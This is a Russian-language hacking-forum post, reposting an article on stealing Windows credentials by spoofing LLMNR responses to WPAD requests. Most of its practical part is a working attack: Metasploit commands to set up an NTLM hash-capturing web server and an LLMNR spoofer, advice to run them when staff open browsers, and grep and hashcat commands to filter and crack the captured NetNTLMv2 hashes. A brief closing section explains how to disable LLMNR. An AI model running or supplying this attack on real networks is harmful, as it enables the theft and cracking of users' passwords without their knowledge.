На заметку Тырим учетные записи в Windows через протокол LLMNR

Тема в разделе "СТАТЬИ И УРОКИ ПО ВЗЛОМУ И ОБХОДУ ЗАЩИТЫ", создана пользователем X-Shar, 4 апр 2016.

↑ ↓
  1. X-Shar :)
    X-Shar
    Ответить в чате

    Администрация

    Регистрация:
    03.06.2012
    Сообщения:
    5.812
    Симпатии:
    432
    Пол:
    Мужской
    Репа:
    +966 / 152 / -29
    Jabber:
    Skype:
    ICQ:

    638294628

    d10ef1c5cafd1a02d464533a3eb4573c.

    Dmeh-Smeh-Smeh!!!Dmeh-Smeh-Smeh!!!Dmeh-Smeh-Smeh!!!

    Не плохая статья !

    Некоторое время назад мой коллега Педро написал статью, где описал очень полезную технику, которую можно использовать для получения учетных записей после того, как только вы получили доступ к сети.

    Суть метода заключалась в прослушивании широковещательных запросов, связанных с преобразованием имен, передаваемых по протоколу NetBIOS. В качестве ответа злоумышленник подменяет IP-адрес, заставляя жертву подключиться в нужное место. Техника может быть полезна в том случае, если вы хотите получить учетные записи пользователя и управляете сервером, на котором находится запрашиваемая веб-страница. Вы настраиваете сервер так, чтобы спровоцировать NT-аутентификацию, и пользователь, ни о чем не подозревая, отправляет вам свои учетные данные.

    Недавно я выяснил, что подобную атаку можно осуществить и на протокол LLMNR, который используется в Windows 7 и более поздних версиях.

    Что такое LLMNR

    Звучит как заболевание, устойчивое к микробам, не так ли? На самом деле, эта аббревиатура расшифровывается как Local Loop Multicast Name Resolution. «Ок, зачем нужен этот протокол?», - спросите вы. Это легковесная служба имен, использующая группу абонентов (multicast group) для поиска и преобразования базовых имен внутри небольшой сети. Одно из главных преимуществ заключается в том, что этот протокол корректно работает и в сети IPv4 и в сети IPv6, что выглядит примерно так:

    [​IMG]

    Рисунок 1: Схема работы протокола LLMNR

    Внимательные читатели заметят, что запрос, показанный выше, отсылается в сети IPv6 (запрос на преобразование ff02::1:3). В сети IPv4 запрос будет отправлен на IP-адрес 224.0.0.252. Поскольку используется мультикастинг, запрос отправится в сеть (обычно просто в локальный сегмент).

    В Windows подобная схема именуется как Сетевое обнаружение (Network Discovery) и может быть включена в Центре управления сетями и общим доступом.

    [​IMG]

    Рисунок 2: Настройка сетевого обнаружения

    Проблемы в протоколе LLMNR

    У протокола LLMNR те же самые проблемы, что и в NetBIOS. Служба имен отсылает сообщение всем клиентам в сети, а не конкретному серверу. Это означает, что клиент неявно доверяет всем, кого видит.

    Наша задача заключается в прослушивании запросов к хосту и перенаправлении этих запросов к подконтрольному нам серверу. После соединения мы запрашиваем аутентификацию, и Windows с превеликим удовольствием отсылает нам учетные данные.

    Для решения этой задачи мы можем использовать автоматический прокси-сервер, предусмотренный в Internet Explorer. Когда вы запускаете Internet Explorer с настройкой автоматического прокси-сервера, на хост отсылается запрос «wpad», а после соединения с хостом скачивается файл wpad.dat. Более подробно об этой технологии рассказывает русскоязычная и англоязычная Википедия.

    Windows 7+ делает запрос wpad через следующие протоколы:
    • DNS (одноадресный запрос wpad)
    • NetBIOS (широковещательный запрос WPAD)
    • LLMNR (многоадресный запрос wpad)
    Поскольку по протоколу DNS идет одиночный запрос, мы должны осуществить атаку типа «Человек посередине». О NetBIOS уже говорилось в других статьях. Я же хочу коснуться протокола LLMNR.

    Как было сказано выше, мы перенаправляем запрос на подконтрольный нам сервер, запрашиваем аутентификацию и ждем, когда нам пришлют учетную запись.

    Рассмотрим суть происходящего через Wireshark:

    [​IMG]

    Рисунок 3: Запросы, отправляемые по протоколу LLMNR

    На рисунке выше показаны запросы, отправляемые по протоколу LLMNR для сети IPv4 (записи типа A) и для сети IPv6 (записи типа AAAA). Кроме того, показаны запросы к файлу wpad.dat и попытка аутентификации.

    Настраиваем Metasploit

    Как и в случае с NetBIOS мы будем использовать Metasploit. Наш пример чуть более сложен по сравнению со стандартными эксплоитами, поскольку нужно запустить два вспомогательных модуля.

    Во-первых, нужно настроить веб-сервер, на который будут приходить хеши паролей. Используем модуль auxiliary/server/capture/http_ntlm:

    msf > use auxiliary/server/capture/http_ntlm
    msf auxiliary(http_ntlm) > set johnpwfile /root/out.txt
    johnpwfile => /root/out.txt
    msf auxiliary(http_ntlm) > set srvhost 192.168.0.100
    srvhost => 192.168.0.100
    msf auxiliary(http_ntlm) > set srvport 80
    srvport => 80
    msf auxiliary(http_ntlm) > exploit
    [*] Auxiliary module execution completed
    [*] Using URL: http://192.168.0.100:80/AuGOLjaEu2L1VE
    [*] Server started.

    Вышеуказанный модуль запускает веб-сервер, который ожидает URL, запрашивает аутентификацию и хранит полученные хеши. (NT-аутентификация состоит из трех шагов).

    Мы можем обратиться к новому веб-серверу через обычный браузер, и тут нет ничего выдающегося, поскольку нашу поддельную страницу пользователь не увидит.

    [​IMG]

    Рисунок 4: Поддельная страница, на которую будет перенаправляться пользователь

    Теперь нам нужно нечто, что позволит наладить взаимодействие с веб-сервером. Используем модуль auxiliary/spoof/llmnr/llmnr_response module:

    msf auxiliary(http_ntlm) > use auxiliary/spoof/llmnr/llmnr_response
    msf auxiliary(llmnr_response) > set interface eth2
    interface => eth2
    msf auxiliary(llmnr_response) > set spoofip 192.168.0.100
    spoofip => 192.168.0.100
    msf auxiliary(llmnr_response) > set regex wpad
    regex => wpad
    msf auxiliary(llmnr_response) > exploit
    [*] Auxiliary module execution completed

    [*] LLMNR Spoofer started. Listening for LLMNR requests with REGEX "(?-mix:wpad)" ...

    Мы установили мультикастовый listener, который будет слушать запросы «wpad» по протоколу LLMNR и в ответ на эти запросы отсылать IP-адрес созданного ранее веб-сервера.

    Получение паролей

    На какое-то время оставьте запущенную связку модулей до тех пор, пока люди не откроют Internet Explorer и не начнут запрашивать файл wpad. Наиболее подходящее время – середина утра или обеденное время. В итоге вы получите файл, заполненный запросами на NT-аутентификацию.

    Следующий шаг – расшифровка полученных хешей при помощи John the Ripper (jumbo patch) или, если у вас есть быстрая графическая карта, hashcat.

    Вначале отфильтруем машинные аккаунты. Машинный аккаунт представляет собой NT-аккаунт, используемый компьютером для аутентификации при помощи учетной записи домена. Подобные учетные записи оканчивается символом ‘$’ (например, ASPHODEL$). В качестве фильтра используем следующую команду:

    grep –v ‘\$:’ out.txt >filtered.txt

    Затем указываем тип хеша 5600 (NetNTLMv2) и подбираем пароли при помощи hashcat:

    c:\tools\passwords\hashcat>cudahashcat64 -m 5600 out.txt --remove --session llmnr ..\dictionaries

    Как защититься от этой угрозы

    Самый простой способ защиты – отключить протокол LLMNR, что необходимо сделать для каждого сетевого профиля. В панели управления зайдите в раздел Network and Sharing Center > Change Advanced Sharing Settings > profile > Network discovery и установить флажок «Turn off network discovery».

    То же самое можно сделать через групповую политику: Administrative Templates > Network > Link-Layer Topology Discovery.

    Помимо упомянутых настроек можно отключить автоматический прокси-сервер и указать принудительное использование конкретного адреса в качестве прокси.

    Источник:Как получить учетные записи в Windows через протокол LLMNR
     
    • Смешно Смешно x 1

Поделиться этой страницей